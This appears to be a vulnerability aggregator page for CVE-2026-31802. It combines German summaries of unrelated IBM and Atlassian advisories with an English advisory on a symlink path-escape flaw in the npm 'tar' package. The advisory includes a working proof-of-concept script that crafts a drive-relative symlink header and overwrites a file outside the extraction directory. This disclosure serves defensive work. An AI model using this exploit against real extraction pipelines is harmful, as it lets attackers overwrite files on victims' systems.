CVE-2026-31802

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Dateien zu manipulieren, und um einen Denial of Service Angriff durchzuführen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder Cross-Site-Scripting-Angriffe durchzuführen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence, Atlassian Crucible, Atlassian Fisheye und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um einen Cross-Site Scripting Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.

### Summary `tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value. What happens with `linkpath: "C:../../../target.txt"`: 1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`. 4. Writing through the extracted symlink overwrites the outside file (`../target.txt`). This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.10`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt ``` Observed output: ```text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt ``` `PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files